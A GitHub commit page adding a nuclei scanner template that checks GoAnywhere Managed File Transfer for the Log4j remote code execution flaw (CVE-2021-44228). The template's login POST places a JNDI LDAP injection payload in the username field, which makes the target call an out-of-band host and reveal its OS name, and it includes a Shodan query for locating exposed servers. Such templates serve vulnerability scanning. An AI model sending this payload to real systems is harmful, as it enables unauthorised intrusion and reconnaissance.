-
Notifications
You must be signed in to change notification settings - Fork 670
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add goanywhere-mft-log4j-rce PoC 2022-07-30
- Loading branch information
Showing
1 changed file
with
65 additions
and
0 deletions.
There are no files selected for viewing
65 changes: 65 additions & 0 deletions
65
config/nuclei-templates/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
id: goanywhere-mft-log4j-rce | ||
|
||
info: | ||
name: GoAnywhere Managed File Transfer - Log4j Remote Code Execution | ||
author: pussycat0x | ||
severity: critical | ||
reference: | ||
- https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps | ||
- https://logging.apache.org/log4j/2.x/security.html | ||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228 | ||
classification: | ||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | ||
cvss-score: 10.0 | ||
cwe-id: CWE-77 | ||
metadata: | ||
verified: true | ||
shodan-query: http.html:"GoAnywhere Managed File Transfer" | ||
tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere | ||
|
||
requests: | ||
- raw: | ||
- | | ||
GET /goanywhere/auth/Login.xhtml HTTP/1.1 | ||
Host: {{Hostname}} | ||
- | | ||
POST /goanywhere/auth/Login.xhtml HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
Origin: {{RootURL}} | ||
Referer: {{RootURL}}/goanywhere/auth/Login.xhtml | ||
formPanel%3AloginGrid%3Aname=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}} | ||
cookie-reuse: true | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: interactsh_protocol # Confirms the DNS Interaction | ||
words: | ||
- "dns" | ||
|
||
- type: regex | ||
part: interactsh_request | ||
regex: | ||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable | ||
|
||
extractors: | ||
- type: regex | ||
name: view | ||
part: body | ||
group: 1 | ||
regex: | ||
- 'javax\.faces\.ViewState:1" value="(.*)" autocomplete' | ||
internal: true | ||
|
||
- type: kval | ||
kval: | ||
- interactsh_ip # Print remote interaction IP in output | ||
|
||
- type: regex | ||
part: interactsh_request | ||
group: 1 | ||
regex: | ||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output |